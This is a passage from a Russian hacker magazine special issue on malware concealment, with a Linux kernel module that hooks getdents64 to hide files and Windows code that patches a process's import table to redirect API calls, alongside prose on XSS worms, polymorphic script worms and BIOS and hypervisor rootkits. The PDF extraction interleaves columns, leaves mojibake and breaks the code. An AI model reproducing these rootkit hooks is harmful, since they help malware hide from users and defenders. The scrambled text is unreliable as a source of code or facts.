Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 70_Optimized

.pdf
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
6.23 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

49

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

// Выделим память для структуры

 

 

 

 

 

 

 

и вычисляем новое значение длины каталога

 

 

SYS_getdents64];

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в пространстве ядра и скопируем в нее

 

 

 

 

 

memcpy(dirp3, (char *)

 

 

 

 

 

 

 

 

 

sys_call_table

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

содержимое каталога

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

dirp3+dirp3->d_reclen, bak2);

 

 

 

 

[SYS_getdents64]=our_getd;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

dirp2 = (struct dirent64 *)

 

 

 

 

 

 

 

 

 

bak -= n;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return 0;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

kmalloc(bak,GFP_KERNEL);

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

copy_from_user(dirp2,dirp,bak);

 

 

 

 

// Продвигаем указатель на следующую

 

 

void cleanup_module()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Задействуем вторую структуру

 

 

 

 

 

 

 

запись и ищем дальше

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и сохраним значение длины записей в каталоге

 

 

dirp3 = (struct dirent64 *)

 

 

 

 

 

 

sys_call_table

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

dirp3 = dirp2;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

((char *)dirp3+dirp3->d_reclen);

 

 

 

[SYS_getdents64]=real_getd;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

bak2 = bak;

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Èùåì íàø ôàéë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Возвращаем результат

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В Windows также распространены руткиты. При-

while (bak2>0) {

 

 

 

 

 

 

 

 

 

 

copy_to_user(dirp,dirp2,bak);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чем обстроиться в этой среде зловреду будет го-

// Считываем длину первой записи

 

 

 

 

 

 

 

kfree(dirp2);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

раздо легче. Ведь большинство пользователей ра-

d_reclet и определяем оставшуюся длину

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ботают в системе с правами администратора, в то

записей в директории

 

 

 

 

 

 

 

 

 

 

 

 

 

// Возвращаем значение длины

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

время как в юникс права root, необходимые для ин-

n = dirp3->d_reclen;

 

 

 

 

 

 

 

 

 

 

 

 

записей в каталоге

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сталляции подавляющего большинства rootkit,

bak2 -= n;

 

 

 

 

 

 

return bak;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нужно еще получить с помощью использования

// Проверяем на совпадение имени

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уязвимостей. В Windows используются следующие

файла с текущей записью

 

 

 

 

// Cтандартные функции инициализации

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пути сокрытия программ в системе:

if (strstr((char *)&(dirp3->d_name),

 

 

 

и выгрузки модуля

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1 Использование внутренних структур опера-

(char *)&file_hide) != NULL)

 

 

int init_module(void)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ционной системы. Внутренние структуры Windows

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

недокументированны или слабо документирова-

//В случае удачи затираем запись

 

 

 

real_getd = sys_call_table[

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ДРУГИЕ НОВЕЙШИЕ

сещении зараженной страницы сайта. Так,

java-скрипт. Трудность в поимке таких чер-

ТЕХНОЛОГИИ МАСКИРОВКИ

жертвами червя Yamanner только в июне

вей антивирусами возникает из-за большо-

 

 

2006 года стали почти 200 миллионов

го процента ложных срабатываний типа Fal-

Технологии «0-day»

 

пользователей веб-почты Yahoo!Mail. Для

se positive, поскольку имеющиеся эвристи-

Основным критерием

удачи сокрытия

активации червя достаточно было лишь от-

ческие анализаторы могут признать вредо-

зловреда и продления его присутствия в

крыть письмо в окне веб-браузера. Причем

носной программой вполне легальный за-

системе является использование техноло-

червю даже не требовалось проникновение

шифрованный сайт.

гий или уязвимостей, еще неизвестных

на компьютер жертвы. При активации чер-

 

компьютерному сообществу. Появление

вь рассылал себя по всем контактам атако-

Cоциальная инженерия

«zero-day» технологий представляет наи-

ванного пользователя.

В пользу активного распространения червей

большую опасность, поскольку производи-

 

Feebs и Scano сыграл тот факт, что пользо-

телю софта приходится тратить время на

Полиморфные скрипты

ватели еще не привыкли к тому, что в html-

анализ проблемы и выпуск патча, в то вре-

Полиморфные вирусы активно развива-

файлах могут содержаться вирусы. Про-

мя как в интернете уже активно распро-

лись до конца прошлого века. Несмотря на

стые юзеры до сих пор считают, что все ви-

страняется вредоносный код. Чаще всего

то, что вирусный полиморфизм прошел

русы распространяются в exe-файлах и до-

от таких атак страдают серьезные корпора-

множество стадий своего развития: от про-

кументах формата .doc. Налицо факт со-

ции, атакуемые извне «на заказ», по чьей-

стейшего побайтного xor до уникальных

циальной инженерии, используемый хакер-

либо наводке. Хотя, например, знаменитая

метаморфов, использующих сложнейшие

ским сообществом с целью более интенсив-

fishing-технология, наделавшая столько

криптографические алгоритмы. В конце

ного распространения зловредов.

шума и заставившая попотеть антивиру-

концов полиморфики уступили пальму пер-

 

сных разработчиков, до сих пор тревожит

венства более шустрым и проворным чер-

Руткиты нового поколения

покой именно простых

пользователей.

вям и троянцам. Однако неожиданно мы

Хакеры изобретают все новые и новые ла-

Вспомним также появившуюся не так дав-

стали очевидцами новой ступени эволюции —

зейки и технологии. Поэтому до последне-

но технологию, скрывающую информацию

создании полиморфных скриптовых чер-

го времени они были на шаг впереди лю-

в стримах ntfs. Напомню, что известный

вей. Проблема возникла с появлением у

бой антивирусной компании. Гонка воору-

компьютерный вирус «Stream» включал

веб-мастеров технологии шифрования ко-

жений продолжается и сейчас. В антивиру-

способности по манипулированию допол-

да html-страницы и тем самым прячущей ее

сы встраивают мощные проактивные тех-

нительными потоками (ADS) файловой си-

от сторонних глаз. Некоторые авторы ши-

нологии, позволяющие детектировать да-

стемы NTFS. Опасными также становятся

фраторов страниц сделали код своих про-

же угрозы типа «0-day». Но, чтобы бороть-

вирусы, работа которых практически не за-

грамм полностью открытыми, чем способ-

ся с хакерами, нужно мыслить, как хакеры,

висит от действий пользователя. Почтовые

ствовали развитию вирусной индустрии в

действовать, как хакеры. Для этого многие

черви, использующие уязвимость скрипто-

данном направлении. Вскоре появились

компании, специализирующиеся на IT-бе-

вых движков cross-site scripting различных

очень опасные черви — Feebs и Scano, —

зопасности, сами проводят исследования

популярных веб-ресурсов(веб-почта, бло-

распространяемые по почте в виде аттача,

по возможности взлома систем, чтобы

ги), могут активизироваться просто при по-

представляющего собой зашифрованный

быть готовыми к защите от новых угроз.

Одной из новейших разработок компании eEye Digital Security стало создание бэкдора в загрузочном секторе винчестера, который может получить управление еще до запуска операционки. Сам понимаешь, что подобная возможность позволит бэкдору подменить многие системные вызовы операционной системы. Компания Next-Gen- eration Security провела работу, результатом которой было создание руткита во флэш-памяти BIOS. Создание такого руткита возможно через функции по управлению электропитанием компьютера ACPI, а обнаружение такого зловреда весьма затруднительно. Microsoft также не отстает от коллег по цеху и спонсирует довольно интересный проект, разрабатываемый университетом штата Мичиган. Ребята пытаются реализовать проект руткита, работающего ниже уровня операционной системы. Для этого на жесткий диск сначала устанавливается так называемый монитор виртуальных машин, который уже загружает операционку. Таким образом, поскольку управление от BIOS сначала попадает к нему, монитор может выполнять любые действия как до, так и после загрузки оси. Теоретически антивирусу внутри операционной системы будет просто невозможно обнаружить руткиты и зловреды на уровне монитора виртуальных машин. Однако в глаза бросается очевидная возможность обнаружить неладное другими способами, например, простой проверкой диска на другом компьютере.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

50

 

 

 

 

 

 

 

 

БОЕВОЕ

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

КРЕЩЕНИЕ СПЕЦ 09-06

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ны, к тому же они меняются от версии к версии.

if(my_f == DLL_PROCESS_ATTACH)

 

 

 

 

 

 

 

 

 

 

 

 

для этой библиотеки

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Это сложная и трудоемкая работа, поскольку за-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Substitute();

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

while(imid->Name)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ставляет хакеров выполнять дополнительную ра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return TRUE;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

боту по анализу кода. Но игра стоит свеч, посколь-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(strcmp((char*)(pimage + imid->Name),

 

 

 

 

ку данный подход позволяет скрыть процесс от

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// А вот описание уже знакомой функции

 

 

 

 

"USER32.dll") ==0 ) break;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

большинства специализированных утилит, в том

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Substitute(), которая ищет в таблице

 

 

 

 

 

imid++;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

числе, например, от Task Manager.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

импорта нужный адрес(.idata) и меняет

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2 Перехват вызова API-функций и внедрение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

его на адрес нашей функции.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Ищем нужный адрес

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

dll. Наиболее популярный метод. Существует нес-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

void Substitute (void)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

imsd = (DWORD*)(

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

колько способов внедрения dll: внедрение с помо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

pimage + imid->FirstThunk);

 

 

 

 

 

 

 

 

 

 

 

 

 

щью ловушек, реестра, удаленных потоков. Но,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Стандартные структуры описания

 

 

 

 

 

 

while

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

несмотря на то, что внедрение DLL в адресное

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PE-заголовка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(*imsd!=ExitW_Addr && *imsd!=0) imsd++;

 

 

 

 

пространство процесса — это замечательный спо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BYTE *pimage = (BYTE*)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(*imsd == 0)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

соб узнать о том, что происходит в процессе, про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GetModuleHandle(NULL);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стое внедрение DLL не дает достаточной инфор-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BYTE *pidata;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

printf("ExitW_Addr не найден в .idata");

 

 

мации, а тем более не позволяет изменять пове-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IMAGE_DOS_HEADER *imdh;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return -1;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дение какой-либо функции. Таким образом, более

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IMAGE_OPTIONAL_HEADER *imoh;

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

эффективен и распространен метод перехвата

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IMAGE_SECTION_HEADER *imsh;

 

 

 

 

 

 

 

 

 

 

 

 

 

// Заменяем адрес своей функцией

 

 

 

 

 

 

 

 

 

вызова API-функций. Поскольку вызовы систем-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IMAGE_IMPORT_DESCRIPTOR *imid;

 

 

 

 

 

 

 

 

 

 

DWORD func_b = (DWORD)&OurFunction;

 

 

 

 

 

 

 

ных API-функций производятся приложениями че-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DWORD *imsd;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DWORD a;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рез таблицы импорта/экспорта или через адрес,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

// Получим указатели на стандартные

 

 

 

 

 

 

 

 

// Принудительно разрешаем запись

 

 

 

 

 

 

 

полученный с помощью функции GetProcAddress,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

структуры PE-заголовка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в этой области

 

 

 

 

 

 

 

 

 

 

 

 

то можно реализовать специальный код в dll-би-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

imdh = (IMAGE_DOS_HEADER*)pimage;

 

 

 

 

 

VirtualProtect((void*)(imsd),4,

 

 

 

 

 

 

 

блиотеке, который будет внедряться в адресные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

imoh = (IMAGE_OPTIONAL_HEADER*)

 

 

 

 

 

 

 

 

 

 

 

 

PAGE_READWRITE, &a);

 

 

 

 

 

 

 

 

 

пространства запущенных в системе процессов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(pimage + imdh->e_lfanew

 

 

 

 

 

 

 

 

 

 

 

// Записываем новый адрес

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Это позволит контролировать любое запущенное

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+ 4 + sizeof(IMAGE_FILE_HEADER));

 

 

 

 

 

WriteProcessMemory(GetCurrentProcess(),

 

 

 

приложение.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

imsh = (IMAGE_SECTION_HEADER*)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(void*)(isd),

 

 

 

 

 

 

 

 

 

Использование таблиц импорта/экспорта яв-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

((BYTE*)imoh + sizeof

 

 

 

 

 

 

 

 

 

 

 

(void*)&func_b,4,&written);

 

 

 

 

 

 

ляется предпочтительным, поскольку не прихо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(IMAGE_OPTIONAL_HEADER));

 

 

 

 

 

 

 

 

 

//Снимаем разрешение записи

 

 

 

 

 

 

 

 

 

 

 

 

 

дится писать на ассемблере и использовать ко-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Проверка на наличие у программы

 

 

 

 

 

 

 

 

 

VirtualProtect((void*)(imsd),4,a, &a);

 

 

 

манду JUMP, зависящую от процессора. Един-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PE-заголовка

 

 

 

 

 

 

 

 

 

 

 

 

 

if(written!=4)

 

 

 

 

 

 

ственное, что нам нужно знать, — это описание

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if (imdh->e_magic != 0x5A4D)

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PE-заголовка и структуру раздела импорта. Если

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

printf("Не удалось записать адрес");

 

 

 

 

 

коротко, то таблица импорта содержит списки ад-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

printf("Это не PE-заголовок");

 

 

 

 

 

 

 

return -1;

 

 

 

 

 

ресов функций, импортируемых из различных dll.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

return -1;

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Данные адреса попадают в таблицу после загруз-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

